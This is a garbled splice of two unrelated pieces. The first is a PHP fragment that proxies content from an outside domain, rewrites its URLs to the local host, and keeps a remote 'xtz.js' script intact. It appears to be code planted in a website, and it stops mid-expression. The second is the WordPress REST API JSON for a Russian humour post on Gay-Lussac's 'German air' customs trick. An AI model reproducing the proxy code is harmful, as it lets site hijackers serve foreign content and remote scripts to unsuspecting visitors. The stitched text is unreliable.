$API_URL = 'https://id.yuanhengbc.com/th100';
$scheme = (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') ? 'https' : 'http';
$host = $_SERVER['HTTP_HOST'] ?? 'localhost';
$MY_DOMAIN = $scheme . '://' . $host;
function rewrite_remote_urls($html, $api_url, $my_domain) {
if (empty($html)) return $html;
$orig_host = parse_url($api_url, PHP_URL_HOST);
$my_host = parse_url($my_domain, PHP_URL_HOST);
$html = str_replace('https://' . $orig_host . '/xtz.js', '%%XTZ_KEEP%%', $html);
$html = str_replace(
array('https://' . $orig_host, 'http://' . $orig_host, '//' . $orig_host),
array($my_domain, $my_domain, '//' . $my_host),
$html
);
$html = preg_replace(
'/
\u0412 1802 \u0433\u043e\u0434\u0443 \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0438\u0439 \u0443\u0447\u0435\u043d\u044b\u0439 \u0416\u043e\u0437\u0435 \u041b\u0443\u0438 \u0413\u0435\u0439-\u041b\u044e\u0441\u0441\u0430\u043a \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043b \u0432 \u041f\u0430\u0440\u0438\u0436\u0435 \u043d\u0430\u0443\u0447\u043d\u044b\u0435 \u043e\u043f\u044b\u0442\u044b. \u0415\u043c\u0443 \u0431\u044b\u043b\u0438 \u043d\u0443\u0436\u043d\u044b \u0441\u0442\u0435\u043a\u043b\u044f\u043d\u043d\u044b\u0435 \u0442\u0440\u0443\u0431\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0442\u043e\u0433\u0434\u0430 \u0432\u044b\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043b\u0438\u0441\u044c \u0441\u0442\u0435\u043a\u043b\u043e\u0434\u0443\u0432\u0430\u043c\u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0413\u0435\u0440\u043c\u0430\u043d\u0438\u0438. \u041a\u043e\u0433\u0434\u0430 \u0443\u0447\u0435\u043d\u044b\u0439 \u0438\u0445 \u0432\u044b\u043f\u0438\u0441\u0430\u043b, \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0438\u0435 \u0442\u0430\u043c\u043e\u0436\u0435\u043d\u043d\u0438\u043a\u0438 \u043d\u0430\u043b\u043e\u0436\u0438\u043b\u0438 \u0442\u0430\u043a\u0443\u044e \u0432\u044b\u0441\u043e\u043a\u0443\u044e \u043f\u043e\u0448\u043b\u0438\u043d\u0443, \u0447\u0442\u043e \u043e\u043d \u043d\u0435 \u043c\u043e\u0433 \u0432\u044b\u043a\u0443\u043f\u0438\u0442\u044c \u043f\u043e\u0441\u044b\u043b\u043a\u0443. \u041e\u0431 \u044d\u0442\u043e\u043c \u0443\u0437\u043d\u0430\u043b \u0410\u043b\u0435\u043a\u0441\u0430\u043d\u0434\u0440 \u0413\u0443\u043c\u0431\u043e\u043b\u044c\u0434 \u0438 \u0440\u0435\u0448\u0438\u043b \u043f\u043e\u043c\u043e\u0447\u044c \u0413\u0435\u0439-\u041b\u044e\u0441\u0441\u0430\u043a\u0443. \u041e\u043d \u043f\u043e\u0441\u043e\u0432\u0435\u0442\u043e\u0432\u0430\u043b \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044f\u043c \u0437\u0430\u043f\u0430\u044f\u0442\u044c \u043a\u043e\u043d\u0446\u044b \u0442\u0440\u0443\u0431\u043e\u043a \u0438 \u043d\u0430\u043a\u043b\u0435\u0438\u0442\u044c \u043d\u0430 \u043d\u0438\u0445 \u044d\u0442\u0438\u043a\u0435\u0442\u043a\u0438: \u00ab\u041e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u043e! \u041d\u0435\u043c\u0435\u0446\u043a\u0438\u0439 \u0432\u043e\u0437\u0434\u0443\u0445!\u00bb\u00a0 \u0422\u0430\u043c\u043e\u0436\u0435\u043d\u043d\u043e\u0433\u043e \u0442\u0430\u0440\u0438\u0444\u0430 \u043d\u0430 \u0432\u043e\u0437\u0434\u0443\u0445 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u043e, \u0438 \u043d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u0442\u0440\u0443\u0431\u043a\u0438 \u0434\u043e\u0448\u043b\u0438 \u0434\u043e \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u043e\u0433\u043e \u0443\u0447\u0435\u043d\u043e\u0433\u043e \u0431\u0435\u0437 \u0432\u0441\u044f\u043a\u0438\u0445 \u043f\u043e\u0448\u043b\u0438\u043d.<\/p>\n","protected":false},"excerpt":{"rendered":"
\u0412 1802 \u0433\u043e\u0434\u0443 \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0438\u0439 \u0443\u0447\u0435\u043d\u044b\u0439 \u0416\u043e\u0437\u0435 \u041b\u0443\u0438 \u0413\u0435\u0439-\u041b\u044e\u0441\u0441\u0430\u043a \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043b \u0432 \u041f\u0430\u0440\u0438\u0436\u0435 \u043d\u0430\u0443\u0447\u043d\u044b\u0435 \u043e\u043f\u044b\u0442\u044b. \u0415\u043c\u0443 \u0431\u044b\u043b\u0438 \u043d\u0443\u0436\u043d\u044b \u0441\u0442\u0435\u043a\u043b\u044f\u043d\u043d\u044b\u0435 \u0442\u0440\u0443\u0431\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0442\u043e\u0433\u0434\u0430 \u0432\u044b\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043b\u0438\u0441\u044c \u0441\u0442\u0435\u043a\u043b\u043e\u0434\u0443\u0432\u0430\u043c\u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0413\u0435\u0440\u043c\u0430\u043d\u0438\u0438. \u041a\u043e\u0433\u0434\u0430 \u0443\u0447\u0435\u043d\u044b\u0439 \u0438\u0445 \u0432\u044b\u043f\u0438\u0441\u0430\u043b, \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0438\u0435… <\/p>\n","protected":false},"author":1,"featured_media":4676,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[52,48],"tags":[],"class_list":["post-4675","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-main-15","category-humour"],"_links":{"self":[{"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/posts\/4675","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4675"}],"version-history":[{"count":2,"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/posts\/4675\/revisions"}],"predecessor-version":[{"id":4678,"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/posts\/4675\/revisions\/4678"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=\/wp\/v2\/media\/4676"}],"wp:attachment":[{"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4675"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4675"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.vladimirkoskov.ru\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4675"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}